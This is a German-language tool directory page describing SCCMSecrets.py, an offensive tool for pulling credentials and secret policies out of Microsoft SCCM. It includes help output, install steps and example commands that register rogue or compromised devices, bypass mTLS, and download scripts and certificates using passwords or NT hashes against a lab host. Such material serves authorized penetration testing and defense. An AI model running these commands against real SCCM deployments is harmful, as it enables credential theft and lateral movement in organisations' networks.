Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SCCMSecrets — SCCMSecrets.py zielt darauf ab, die SCCM-Richtlinienverteilung für das Sammeln von Anmeldeinformationen, den ersten Zugriff und die laterale Bewegung auszunutzen. | Kitploit
Tools/GitHubGitHub/synacktiv/sccmsecrets
Authentifizierung & AutorisierungAufklärungPasswortangriffeExploitationLaterale BewegungInformationsbeschaffungPost-ExploitationFehlkonfiguration
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py zielt darauf ab, die SCCM-Richtlinienverteilung für das Sammeln von Anmeldeinformationen, den ersten Zugriff und die laterale Bewegung auszunutzen.

Repository anzeigen
273336vor 10 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SCCMSecrets

SCCMSecrets.py ist ein Tool zur Ausnutzung von SCCM-Richtlinien. Es geht über die Extraktion von NAA-Anmeldeinformationen hinaus und verfolgt einen umfassenden Ansatz bei der Ausnutzung von SCCM-Richtlinien. Das Tool kann mit verschiedenen Berechtigungsstufen ausgeführt werden und versucht, potenzielle Fehlkonfigurationen im Zusammenhang mit der Richtlinienverteilung aufzudecken. Weitere Details zum Tool und seiner Verwendung finden Sie im zugehörigen Artikel: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

Zwei Unterbefehle sind verfügbar: policies und files.

Richtlinien

Dieser Unterbefehl interagiert mit einem SCCM-Verwaltungspunkt, um die Inhalte aller geheimen Richtlinien auszulesen (einschließlich NAA-Konfiguration, Tasksequenzen mit Anmeldeinformationen oder Sammlungsvariablen). Dazu wird ein genehmigtes SCCM-Gerät benötigt, das auf drei Arten erlangt werden kann.

  • Wenn kein Computerkonto angegeben wird, versucht SCCMSecrets, ein Gerät zu registrieren und die automatische Gerätefreigabe auszunutzen. Dies ist eine (nicht standardmäßige) SCCM-Konfiguration, die neuen anonym registrierten Geräten automatisch den Status „Genehmigt” gewährt.
  • Wenn ein Computerkonto angegeben wird, registriert SCCMSecrets ein neues Gerät über den authentifizierten Registrierungsendpunkt. Standardmäßig gewährt SCCM Geräten, die über diesen Endpunkt registriert werden, den Status „Genehmigt”.
  • Wenn das Flag --altauth angegeben wird, nutzt SCCMSecrets einen alternativen Authentifizierungsendpunkt aus, um die mTLS-Anforderungen zu umgehen und ohne Anmeldeinformationen und ohne die Fehlkonfiguration der automatischen Gerätefreigabe ein genehmigtes Gerät zu erhalten (weitere Informationen hier). Dies funktioniert nur, wenn der Verwaltungspunkt für HTTPS konfiguriert ist UND die SCCM-Site so konfiguriert ist, dass HTTPS siteweit erzwungen wird (wenn der Verwaltungspunkt HTTPS verwendet, die Site aber entweder HTTP oder HTTPS zulässt, werden Geräte nicht automatisch genehmigt).
  • Es kann auch ein vorhandenes Gerät angegeben werden (--use-existing-device). Dieses Argument erwartet ein Verzeichnis, das die Datei guid.txt (Geräte-GUID) und die Datei key.pem (privater Geräteschlüssel) enthält. Dies kann ein Gerät sein, das bei einer früheren SCCMSecrets-Ausführung erstellt wurde, oder eines, das zu einem kompromittierten legitimen SCCM-Client gehört.

Beachten Sie, dass SCCM-Richtlinien Sammlungen zugeordnet sind. Durch die Registrierung eines neuen Geräts wird dieses Gerät in Standard-Sammlungen platziert – daher werden nur geheime Richtlinien aus Standard-Sammlungen abgerufen. Aus diesem Grund kann die Imitation eines kompromittierten legitimen SCCM-Clients mit --use-existing-device interessant sein. Dieser legitime Client könnte nämlich Teil von benutzerdefinierten Sammlungen sein, die mit zusätzlichen geheimen Richtlinien verbunden sind.

Die Ausgabe wird in einem Unterverzeichnis des loot-Verzeichnisses abgelegt (Format: [timestamp]_policies).

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Dateien

Dieser Unterbefehl indiziert Dateien, die auf einem Verteilungspunkt gespeichert sind, und lädt interessante Dateien herunter. SCCMSecrets versucht zunächst herauszufinden, ob anonymer Zugriff aktiviert ist (nicht standardmäßig). Ist dies der Fall, können Dateien ohne Authentifizierung indiziert und heruntergeladen werden. Andernfalls sind Domänenanmeldeinformationen erforderlich.

Es ist möglich, Dateien nach Erweiterung herunterzuladen. SCCMSecrets indiziert Dateien aller Pakete, die auf dem Verteilungspunkt gehostet werden (was in einer Datei index.txt im Unix-tree-Format resultiert), und lädt Dateien mit den angegebenen Erweiterungen herunter. Wenn eine leere Liste von Erweiterungen angegeben wird, wird nur die Dateiindizierung durchgeführt. In beiden Fällen ist es möglich, anhand der erzeugten Indexdatei das Flag --urls zu verwenden, um bestimmte interessante Dateien herunterzuladen (ohne erneute Indizierung).

Beachten Sie, dass mTLS-Anforderungen, falls implementiert, durch die Angabe des Flags --nocert umgangen werden können.

Die Ausgabe wird in einem Unterverzeichnis des loot-Verzeichnisses abgelegt (Format: [timestamp]_files).

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Über die HTTPS-Erzwingung

Standardmäßig können Clients über einfaches HTTP mit ihrem Verwaltungspunkt oder Verteilungspunkt kommunizieren. Die SCCM-Installation kann jedoch sicherer konfiguriert werden, indem die Verwendung von HTTPS erzwungen wird. In diesem Fall (entweder für den Verwaltungspunkt, den Verteilungspunkt oder beide) verlangt SCCM eine Client-Zertifikatsauthentifizierung mit einem internen PKI-Zertifikat mit dem Zweck „Client-Authentifizierung”.

Es ist weiterhin möglich, die oben vorgestellten Angriffe durchzuführen – allerdings muss ein gültiges PKI-Zertifikat über die Flags --pki-cert und --pki-key bereitgestellt werden (PEM-Format). Die URLs des Verwaltungspunkts / Verteilungspunkts sollten außerdem mit https:// beginnen. Beachten Sie, dass die Flags --altauth (für Richtlinien) und --nocert (für Dateien) Möglichkeiten bieten, die mTLS-Authentifizierung zu umgehen (weitere Informationen hier).

Installation

Sie können SCCMSecrets.py installieren, indem Sie das Repository klonen und die Abhängigkeiten installieren.

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Beispiele

Im Folgenden finden Sie einige Beispielbefehle.

Richtlinien

Geheime Richtlinien abrufen, ohne ein Computerkonto anzugeben. Dabei wird versucht, die Fehlkonfiguration der automatischen Gerätefreigabe auszunutzen (nicht standardmäßige Konfiguration).

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

Geheime Richtlinien abrufen, indem ein Computerkonto angegeben wird. Dies funktioniert in Standard-SCCM-Konfigurationen.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

Geheime Richtlinien eines bereits vorhandenen Geräts abrufen. Der Ordner compromised_device enthält eine Datei guid.txt und eine Datei key.pem.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

Geheime Richtlinien abrufen, wenn der Verwaltungspunkt HTTPS erzwingt.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

Geheime Richtlinien über den alternativen Authentifizierungsendpunkt abrufen, wodurch die mTLS-Authentifizierung umgangen und ohne Angabe von Anmeldeinformationen ein genehmigtes Gerät erhalten werden kann (weitere Informationen hier). Dies funktioniert nur, wenn der Verwaltungspunkt HTTPS verwendet und HTTPS siteweit erzwungen wird.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

Dateien

Dateien vom Verteilungspunkt abrufen, ohne Anmeldeinformationen anzugeben. Dabei wird versucht, den anonymen DP-Zugriff auszunutzen (nicht standardmäßige Konfiguration).

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

Dateien vom Verteilungspunkt mit Anmeldeinformationen abrufen. Dies funktioniert in Standard-SCCM-Konfigurationen.

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

Dateien mit einer bestimmten Liste von Erweiterungen abrufen. Authentifizierung mit dem Hash des Computerkontos.

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

Bestimmte Dateien vom Verteilungspunkt abrufen, indem eine Liste von URLs bereitgestellt wird (1 pro Zeile).

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

DP-Dateien abrufen, wenn der Verteilungspunkt HTTPS erzwingt.

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

mTLS-Authentifizierung umgehen, wenn der Verteilungspunkt HTTPS erzwingt.

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
Tool herunterladen